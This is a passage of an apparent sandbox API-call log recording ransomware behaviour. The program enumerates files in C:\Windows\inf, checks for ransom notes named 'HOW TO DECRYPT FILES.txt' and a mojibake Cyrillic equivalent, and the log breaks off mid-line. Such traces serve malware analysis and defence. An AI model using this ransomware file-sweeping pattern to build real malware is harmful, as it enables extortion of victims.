PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.686] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc2.inf") returned -1 [0129.686] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc2.inf") returned -1 [0129.686] lstrcmpiA (lpString1="", lpString2="ph3xibc2.inf") returned -1 [0129.686] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc12.PNF") returned="ph3xibc12.PNF" [0129.686] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.686] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.686] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.686] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.686] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc2.inf" | out: lpString1="C:\\Windows\\inf\\ph3xibc2.inf") returned="C:\\Windows\\inf\\ph3xibc2.inf" [0129.686] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912fdd63, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x912fdd63, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x912fdd63, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x95e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc2.PNF", cAlternateFileName="")) returned 1 [0129.687] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.687] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc2.PNF") returned -1 [0129.687] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc2.PNF") returned -1 [0129.687] lstrcmpiA (lpString1="", lpString2="ph3xibc2.PNF") returned -1 [0129.687] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc2.inf") returned="ph3xibc2.inf" [0129.687] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.687] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.687] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.687] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.687] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc2.PNF" | out: lpString1="C:\\Windows\\inf\\ph3xibc2.PNF") returned="C:\\Windows\\inf\\ph3xibc2.PNF" [0129.687] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65f43c71, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65f43c71, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65f43c71, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x83e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc3.inf", cAlternateFileName="")) returned 1 [0129.688] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.688] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc3.inf") returned -1 [0129.688] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc3.inf") returned -1 [0129.688] lstrcmpiA (lpString1="", lpString2="ph3xibc3.inf") returned -1 [0129.688] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc2.PNF") returned="ph3xibc2.PNF" [0129.688] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.688] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.688] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.688] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.688] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc3.inf" | out: lpString1="C:\\Windows\\inf\\ph3xibc3.inf") returned="C:\\Windows\\inf\\ph3xibc3.inf" [0129.688] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9134a024, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x9134a024, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x9134a024, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x82fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc3.PNF", cAlternateFileName="")) returned 1 [0129.689] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.689] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc3.PNF") returned -1 [0129.689] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc3.PNF") returned -1 [0129.689] lstrcmpiA (lpString1="", lpString2="ph3xibc3.PNF") returned -1 [0129.689] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc3.inf") returned="ph3xibc3.inf" [0129.689] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.689] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.689] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.689] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.689] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc3.PNF" | out: lpString1="C:\\Windows\\inf\\ph3xibc3.PNF") returned="C:\\Windows\\inf\\ph3xibc3.PNF" [0129.689] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65f69dd1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65f69dd1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65f69dd1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x65c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc4.inf", cAlternateFileName="")) returned 1 [0129.690] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.690] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc4.inf") returned -1 [0129.690] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc4.inf") returned -1 [0129.690] lstrcmpiA (lpString1="", lpString2="ph3xibc4.inf") returned -1 [0129.690] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc3.PNF") returned="ph3xibc3.PNF" [0129.690] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.690] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.690] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.690] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.690] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc4.inf" | out: lpString1="C:\\Windows\\inf\\ph3xibc4.inf") returned="C:\\Windows\\inf\\ph3xibc4.inf" [0129.690] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913e25a5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x913e25a5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x913e25a5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x6318, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc4.PNF", cAlternateFileName="")) returned 1 [0129.690] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.690] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc4.PNF") returned -1 [0129.691] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc4.PNF") returned -1 [0129.691] lstrcmpiA (lpString1="", lpString2="ph3xibc4.PNF") returned -1 [0129.691] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc4.inf") returned="ph3xibc4.inf" [0129.691] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.691] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.691] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.691] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.691] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc4.PNF" | out: lpString1="C:\\Windows\\inf\\ph3xibc4.PNF") returned="C:\\Windows\\inf\\ph3xibc4.PNF" [0129.691] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65fb6091, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65fb6091, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65fb6091, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x4cba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc5.inf", cAlternateFileName="")) returned 1 [0129.691] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.691] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc5.inf") returned -1 [0129.691] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc5.inf") returned -1 [0129.692] lstrcmpiA (lpString1="", lpString2="ph3xibc5.inf") returned -1 [0129.692] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc4.PNF") returned="ph3xibc4.PNF" [0129.692] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.692] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.692] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.692] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.692] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc5.inf" | out: lpString1="C:\\Windows\\inf\\ph3xibc5.inf") returned="C:\\Windows\\inf\\ph3xibc5.inf" [0129.692] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914c6de6, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x914c6de6, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x914c6de6, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x5504, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc5.PNF", cAlternateFileName="")) returned 1 [0129.692] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.692] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc5.PNF") returned -1 [0129.692] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc5.PNF") returned -1 [0129.692] lstrcmpiA (lpString1="", lpString2="ph3xibc5.PNF") returned -1 [0129.693] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc5.inf") returned="ph3xibc5.inf" [0129.693] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.693] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.693] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.693] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.693] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc5.PNF" | out: lpString1="C:\\Windows\\inf\\ph3xibc5.PNF") returned="C:\\Windows\\inf\\ph3xibc5.PNF" [0129.693] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65fdc1f2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65fdc1f2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65fdc1f2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x5b9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc6.inf", cAlternateFileName="")) returned 1 [0129.693] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.693] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc6.inf") returned -1 [0129.693] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc6.inf") returned -1 [0129.693] lstrcmpiA (lpString1="", lpString2="ph3xibc6.inf") returned -1 [0129.693] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc5.PNF") returned="ph3xibc5.PNF" [0129.694] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.694] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.694] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.694] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.694] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc6.inf" | out: lpString1="C:\\Windows\\inf\\ph3xibc6.inf") returned="C:\\Windows\\inf\\ph3xibc6.inf" [0129.694] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91669d09, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x91669d09, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x91669d09, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x5bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc6.PNF", cAlternateFileName="")) returned 1 [0129.694] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.694] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc6.PNF") returned -1 [0129.694] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc6.PNF") returned -1 [0129.694] lstrcmpiA (lpString1="", lpString2="ph3xibc6.PNF") returned -1 [0129.694] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc6.inf") returned="ph3xibc6.inf" [0129.694] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.695] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.695] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.695] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.695] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc6.PNF" | out: lpString1="C:\\Windows\\inf\\ph3xibc6.PNF") returned="C:\\Windows\\inf\\ph3xibc6.PNF" [0129.695] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66002352, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x66002352, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x66002352, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x96b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc7.inf", cAlternateFileName="")) returned 1 [0129.695] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.695] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc7.inf") returned -1 [0129.695] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc7.inf") returned -1 [0129.695] lstrcmpiA (lpString1="", lpString2="ph3xibc7.inf") returned -1 [0129.695] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc6.PNF") returned="ph3xibc6.PNF" [0129.695] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.696] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.696] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.696] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.696] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc7.inf" | out: lpString1="C:\\Windows\\inf\\ph3xibc7.inf") returned="C:\\Windows\\inf\\ph3xibc7.inf" [0129.696] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9174e54b, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x9174e54b, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x9174e54b, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x6f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc7.PNF", cAlternateFileName="")) returned 1 [0129.696] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.696] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc7.PNF") returned -1 [0129.696] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc7.PNF") returned -1 [0129.696] lstrcmpiA (lpString1="", lpString2="ph3xibc7.PNF") returned -1 [0129.696] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc7.inf") returned="ph3xibc7.inf" [0129.696] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.696] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.697] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.697] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.697] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc7.PNF" | out: lpString1="C:\\Windows\\inf\\ph3xibc7.PNF") returned="C:\\Windows\\inf\\ph3xibc7.PNF" [0129.697] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x660284b2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x660284b2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x660284b2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xb086, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc8.inf", cAlternateFileName="")) returned 1 [0129.698] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.698] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc8.inf") returned -1 [0129.698] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc8.inf") returned -1 [0129.698] lstrcmpiA (lpString1="", lpString2="ph3xibc8.inf") returned -1 [0129.699] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc7.PNF") returned="ph3xibc7.PNF" [0129.699] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.699] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.699] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.699] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.699] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc8.inf" | out: lpString1="C:\\Windows\\inf\\ph3xibc8.inf") returned="C:\\Windows\\inf\\ph3xibc8.inf" [0129.699] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919fbe10, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x919fbe10, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x919fbe10, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x87e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc8.PNF", cAlternateFileName="")) returned 1 [0129.699] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.699] lstrcmpiA (lpString1="ÊÀÊ 